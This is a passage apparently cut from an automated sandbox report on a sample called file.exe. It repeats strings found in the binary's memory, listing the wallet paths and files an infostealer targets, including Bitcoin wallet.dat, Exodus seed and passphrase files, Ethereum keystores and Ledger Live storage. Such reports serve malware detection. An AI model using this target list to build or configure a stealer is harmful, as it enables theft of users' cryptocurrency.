Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo 